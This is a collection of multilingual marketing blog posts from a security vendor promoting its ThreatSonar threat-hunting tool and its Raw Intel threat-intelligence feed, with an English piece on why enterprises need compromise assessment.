脅威識別・分析プラットフォームThreatSonarを導入することで、ユーザーは現場で起こりうるサイバーセキュリティリスクと脅威を迅速にスクリーニングし、インシデントで深刻な侵害を受けたホストからエンドポイントのサイバーセキュリティ状況を包括的にインベントリ化することができます。また、主要なネットワークシステムの記録を分析し、ハッカーが侵入した可能性のあるアクセスポイントを調査しするので、侵入の根本原因とハッカーの移動経路、そして脅威の被害状況を把握することができます。

強力な機能：

- **インテリジェンス主導のスマートな脅威フォレンジック**

何千ものAPTバックドアインジケータを内蔵しており、脅威フォレンジックのために最新のインテリジェンスを各エンドポイントに提供します。また、ハッシュ、IP、ドメイン、Yaraルール、IoCなどの外部インテリジェンスをインポートし、潜在的な脅威から正確に防御します。

 

- **日常業務に影響を与えない軽量な展開とバックグラウンド実行**

ThreatSonarエージェントは、企業内の数千台のコンピュータに展開でき、少ないシステムリソースで実行できるので、担当者はフォレンジックの実行に負担をかけることなく、通常通りのコンピュータ作業を行うことが可能です。

 

- **侵害評価によるインシデントの全体像の把握、調査時間の短縮 **

ThreatSonarは、ホストの現在の状態を分析するだけでなく、ログ分析を通じて過去のイベントの軌跡を調査およびタイムライン上に一連のイベントを表示し、クロスエンドポイント相関を通じてラテラルムーブメントとデータ流出経路を追跡します。

 

- **未知の悪意のあるプログラムを効果的に特定するためのメモリフォレンジックと行動分析を完備**

メモリに隠れた悪意のあるプログラム、実行されたプログラム、実行予定のプログラム、攻撃者のハックツール、ホスト上の攻撃後のログを特定し、何百もの活動的な動作異常を自動的に識別します。

 

- **侵害された可能性のあるエンドポイントの相関を可視化するアクティブな脅威ハンティング**

統計的相関分析により、未知の攻撃手法を発見および異常な動作を追跡するためのベースラインを確立し、組織内のまれなプログラムや合法的なシステムツールの悪用、またはデジタル著名付きのマルウェアなど、潜在的な未知の脅威をマークします。 

 

##ThreatSonar の活用シーン: 侵害評価（compromise assessment）、インシデント対応（incident response）

ThreatSonarは、潜在的な脅威を迅速にスキャンする侵害評価ツールとして、侵害評価とインシデント対応の2つのシーンで使用できます。

従来のMSSPは手作業が主だったので、時間とコストがかかり、事業規模を拡大できるビジネスモデルではありませんでした。しかし現在、ThreatSonarをワークフローに導入し、専門家が簡単かつ容易に潜在的な脅威をスキャンし、顧客のセキュリティ環境の健全性を迅速に評価できるようになりました。また、ThreatSonarによって作成されたレポートを利用することで、顧客に適切なサイバーセキュリティソリューションの導入を指導できるので、完全な調達指導プロセスを実現し、より大きなビジネスチャンスを生み出すことができます。

ThreatSonarは、インシデント対応ツールとして、専門的で信頼性の高い脅威ハンティングを実施します。

従来では、インシデン対応担当者がサイバーセキュリティの脅威をチェックできるのは、毎日3台のコンピュータのみであり、完全な脅威ハンティング結果レポートを作成するのに1～4週間かかっていました。現在、MSSPはThreatSonarを運用プロセスに導入することで、1時間以内に1,000台以上のコンピュータ（または端末）をチェックすることができ、1日から1週間以内に詳細な脅威ハンティング結果レポートを提出することが可能なので、顧客の脅威排除を支援できます。

つまり、ThreatSonarを活用することで、MSSPは顧客により良い包括的なサービスを提供し、大きな利益を得ることができます。


##ThreatSonarがMSSPに新たなビジネスチャンスをもたらす方法

脅威識別・分析プラットフォームThreatSonarは、導入から利用、結果レポートの出力まで、シンプルで手間のかからないプロセスを備えています。MSSPは簡単に作業を開始できるため、チームの全体的な負担を軽減できます。また、MSSPは、侵入評価やインシデント対応などを実施する際、顧客のサイバーセキュリティ環境や当面のニーズを深く理解できるので、ビジネスチャンスと利益をもたらす拡張サイバーセキュリティソリューションを提案することができます。

##マネージドセキュリティサービスプロバイダー（MSSP）におけるThreatSonarのメリット
- **導入の簡素化**： ツールは軽量で、既存のエンドポイントソリューションと互換性があります。

- **専門的なサポート**： サイバー脅威研究で20年以上の経験を持つTeamT5の専門家が手厚くサポートします。

- **収益性の向上**： TeamT5は、スキャンしたエンドポイントの数ではなく、レポートごとに料金を請求する柔軟な支払いメカニズムを提供しています。MSSP が最初にレポートから、エンドポイントに高リスクのセキュリティ脅威があり、さらなる解釈が必要であると判断した場合、ThreatSonar レポートのロックを解除するため、お支払いをする必要があります。一方で、重大なセキュリティ脅威があるエンドポイントが見つからなかった場合は、すべてのエンドポイントスキャンレポートのロックを解除するコストを節約できます。

- **高度なサービス機会の拡大**：インシデント発生前の侵入評価とインシデント発生後の緊急対応は、企業の一般的なニーズであり、企業が早急にMSSPの支援を必要とする重要な瞬間でもあります。MSSPは、プロフェッショナルなThreatSonarプラットフォームを主要なツールとして利用することで、企業顧客向けのサイバーセキュリティサービスの質を向上させることができます。

##結論
ThreatSonarは、サイバーセキュリティのヘルスチェックに不可欠なツールです。マネージドセキュリティサービスプロバイダー（MSSP）が、エンド顧客向けに定期的なチェックを積極的に実施するに当たり、ThreatSonarは、サイバーセキュリティの健全性を把握し、万全の防御を実現するのに役立ちます。

脅威ハンティングツール ThreatSonar 完全ガイド

Staying ahead of emerging threats is paramount. At TeamT5, our dedicated analysts work tirelessly to research and translate findings into comprehensive threat intelligence reports. However, there are instances where traditional reports are not what customers are looking for. This is where Raw Intel comes in, offering invaluable real-time insights for cyber threat analysts.

Raw Intel serves as a crucial tool in our arsenal, providing users with detailed information gleaned from ongoing research efforts. When conducting searches on [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website), users may encounter Raw Intel objects associated with specific IP addresses, domains, or hashes. These objects represent a snapshot of our analysts' research within a certain timeframe, offering insights into targeted industries, employed malware, and adversary profiles.

Please note that Raw Intel is the preliminary results of TeamT5’s latest research. If you need further investigation and analysis to obtain the most accurate information, please [contact us]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website).


 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

Raw Intel empowers [ThreatVision](https://teamt5.org/en/products/threatvision/?utm_source=blog&utm_medium=website) customers with three major advantages:

## Real-Time Response Capability
In the ever-evolving landscape of cyber threats, timing is critical. Threat intelligence reports, while valuable, may entail a delay due to human review processes. Raw Intel bridges this gap, empowering organizations to self-identify threats in near real-time. By leveraging Raw Intel, threat analysts can proactively respond to emerging threats, minimizing the risk of being caught off guard during attacks.

## Granular Threat Visibility
Raw Intel offers a granular view of potential threats, equipping security teams with detailed information about malicious IP addresses and samples. This level of insight enables precision in threat identification, facilitating the development of targeted defense strategies. With Raw Intel, organizations can mitigate the risk of false positives and enhance overall cybersecurity posture.

In conclusion, Raw Intel serves as a cornerstone in modern cyber threat analysis, offering real-time insights and granular visibility into emerging threats. By leveraging this invaluable resource, organizations can bolster their defenses and stay one step ahead in the ongoing battle against cyber adversaries.

## Access to Intel Regardless of Subscribed Items
Since ThreatVision’s Raw Intel is not dependent on the user being subscribed to any particular report, users are able to easily access snippets of intelligence that are important to them and their investigation even if they are not subscribed to the particular report that the intel is from.

 

>Learn more about how Raw Intel can help your organization by [contacting us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) today!

 
 
*image courtesy: Pixabay

Raw Intel’s Role in Modern Cyber Threat Intelligence

掌握先機對於應對新興威脅至關重要。在 TeamT5，我們的專業分析師努力不懈地進行研究，並將發現轉化為全面的威脅情資報告。然而，有時傳統報告並不見得符合客戶所需。此時就是原始情資（Raw Intel）發揮功能之際，為網路威脅分析師提供寶貴的及時見解。

原始情資是我們軍火庫中的一個關鍵工具，將持續進行的研究工作中所獲得的詳細資訊，提供給使用者。當使用者在 [ThreatVision](https://teamt5.org/tw/products/threatvision/?utm_source=blog&utm_medium=website) 上進行搜尋時，用戶可能會遇到與特定 IP 地址、域名或雜湊相關的原始情資標的。這些標的代表我們分析師在特定時間範圍內的研究概要，提供有關目標產業、使用的惡意軟體和攻擊族群檔案的見解。

 

![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)

 

提醒您，原始情資是 TeamT5 最新研究的初步結果。如果您需要進一步的調查和分析以獲得最準確的資訊，請[與我們聯繫]((https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) 。

原始情資為 ThreatVision 客戶提供了三個主要優勢：
## 及時應變能力
在網路威脅不斷演變的情況下，時機至關重要。儘管威脅情資報告很有價值，但由於人工審查流程需要時間，可能會有延遲。原始情資彌補了這一差距，使組織能夠近乎及時地自我識別威脅。透過利用原始情資，威脅分析師可以主動應對新興威脅，最大程度地減少在攻擊中措手不及的風險。

## 細化威脅的能見度
原始情資提供了對潛在威脅的細節化視角，為安全團隊提供了有關惡意 IP 地址和樣本的詳細資訊。這種洞察水準使威脅識別更加精準，有助於制定針對性的防禦策略。憑藉原始情資，組織可以降低誤報風險，增強整體網絡安全性。

## 無論訂閱的項目為何，都能獲得原始情資
不論訂閱項目為何，使用者都能輕鬆取得對他們重要的情資片段。即使未訂閱該情資來源的特定報告，也能對他們的調查有所幫助。

簡言之，原始情資在現代網路威脅分析中扮演著重要角色，提供及時見解和新興威脅的細節的能見度。透過利用這一寶貴資源，組織可以加強其防禦措施，在持續與網路威脅族群作戰中，保持領先地位。

 

>現在就[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，了解更多原始情資如何助您的組織一臂之力！

*首圖來源: Pixabay

原始情資（Raw Intel）在現今網路威脅情資中所扮演的角色為何？ 

サイバーセキュリティ保護において、新たな脅威に先手を打つことは最も重要な対策です。 TeamT5 では、専任のアナリストが精力的に調査を実施し、その結果を包括的な脅威インテリジェンスレポートにまとめています。しかし、従来のレポートが必ずしも顧客のニーズに適合するとは限りません。ここで、サイバー脅威アナリストに貴重かつリアルタイムな知見を提供するRaw Intelの出番です。


Raw Intelは、継続的な調査から得られた詳細な情報をユーザーに提供する、ThreatVision の重要なツールです。[ThreatVision](https://teamt5.org/jp/products/threatvision/?utm_source=blog&utm_medium=website)で検索を行うと、特定のIPアドレス、ドメイン、ハッシュに関連付けられているRaw Intelオブジェクトが表示される場合があります。これらのオブジェクトは、特定の期間におけるアナリストの調査概要を表しており、標的となる業界、使用されているマルウェア、攻撃者のプロファイルに関する知見を提供します。


なお、Raw Intelは TeamT5 における最新の調査結果です。最も正確な情報を取得するための更なる調査と分析が必要な場合は、当社まで[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)ください。

 
![pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png](https://uploads.teamt5.org/upload/original/pic_raw-intel-s-role-in-modern-cyber-threat-intelligence.png)
 

Raw Intelは、ThreatVision を利用する顧客に 3 つの大きなメリットをもたらします：

##リアルタイムな対応能力
日々進化するサイバー脅威に対し、タイミングは非常に重要です。そのため、脅威インテリジェンスレポートは重宝されますが、手動による
サイバー脅威は常に進化しているため、タイミングが非常に重要です。脅威インテリジェンス レポートは貴重ですが、手動によるレビュー プロセスに時間がかかるため、遅れが生じる可能性があります。Raw Intelはこのギャップを埋め、組織がほぼリアルタイムで脅威を自己識別できるようにします。つまり、Raw Intelを活用することで、脅威アナリストは新たな脅威に積極的に対応し、攻撃時に不意を突かれるリスクを最小限に抑えることができます。



##細分化された脅威の可視性
Raw Intelは潜在的な脅威を詳細に把握し、悪意のある IP アドレスやサンプルに関する詳細な情報をセキュリティ チームに提供します。このレベルの知見により、更に正確な脅威の特定が可能となり、標的を絞った防御戦略の策定が容易になります。また、Raw Intelを利用することで、組織は誤検知のリスクを軽減し、全体的なサイバーセキュリティ態勢を強化することができます。



##登録しているプランに関係なくIntelにアクセス可能
ThreatVisionのRaw Intelは、Intelの元となる特定のレポートを購読していなくても、登録しているプランに関係なく、ユーザーは自身や調査に必要とする重要なインテリジェンスの一部に簡単にアクセスできます。


結論として、Raw Intelは現代のサイバー脅威分析において、新たな脅威に対するリアルタイムの洞察と細分化された可視性を提供します。この貴重なリソースを活用することで、組織は防御を強化し、サイバー攻撃者との継続的な戦いにおいて、常に一歩先を行くことができます。


Raw Intelが組織にどのように役立つかについて、更に詳しく知りたい方は、是非お問い合わせください。

[お問い合わせ](https://teamt5.org/jp/contact-us/?utm_source=blog&utm_medium=website)

 

*画像のソース:: Pixabay

今日のサイバー脅威インテリジェンスにおける Raw Intel の役割とは?

In the dynamic landscape of cybersecurity, enterprises face persistent and evolving threats that can compromise their systems and sensitive data. Compromise assessment and threat hunting play a crucial role in fortifying an enterprise's security posture. Here are five compelling reasons why these practices are essential:

### 1. Identify vulnerabilities: Enhancing Security Posture

Intrusion assessments assist organizations in identifying potential vulnerabilities in their systems. By identifying vulnerabilities in enterprise systems that may be exploited by attackers and taking further measures to repair these vulnerabilities, the overall security defense and resilience of the enterprise can be strengthened.

### 2. Protect Sensitive Data: Safeguarding Customer and Employee Information

One of the primary goals of intrusion assessment is to protect sensitive information. Whether it refers to customer data, employee details or business data, threat hunting helps prevent cybercriminals from stealing this sensitive information.

### 3. Ensure Compliance: Meeting Regulatory Requirements

In some industries, such as healthcare and finance, strict regulations require companies to conduct regular intrusion assessments to ensure compliance requirements are met.

Regular assessments using threat hunting tools not only ensure your company is compliant, but also build a complete cybersecurity strategy and resilience.

### 4. Improving Incident Response: Critical in the Face of Cyber Attacks

Compromise assessments contribute significantly to the development and improvement of incident response plans. In the event of a cyberattack, having a well-structured response plan is critical. Identifying compromises early on allows enterprises to refine and implement effective incident response strategies promptly.

### 5. Building Trust with Clients and Stakeholders: Demonstrating Proactive Security Measures

By conducting intrusion assessment and threat hunting, enterprises can send a positive message to customers and stakeholders, showing that the enterprise is actively taking measures to protect its systems and data, and build trust and confidence.

## Conclusion 

Compromise assessment and threat hunting are not just reactive measures but proactive strategies that enterprises must embrace in the face of evolving cyber threats. By identifying vulnerabilities, protecting sensitive data, ensuring compliance, improving incident response, and building trust, these practices become essential components of a comprehensive cybersecurity strategy. In a digital era where threats are constant, enterprises that prioritize these assessments are better equipped to navigate the complexities of the cyber landscape and safeguard their digital assets.

 
 
>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.

>The threat hunting tool we developed, ThreatSonar, has been adopted by many large enterprises, financial industries and managed security service providers (MSSPs).

 
>If you are an enterprise, please contact us immediately and use the product demonstration demo to fully grasp the excellent defense benefits brought by threat hunting.

>If you are an MSSP, please contact us immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end customers.

>https://teamt5.org/en/contact-us/


 
*key words: cyber threat hunting, threat hunting

*Picture source: pixabay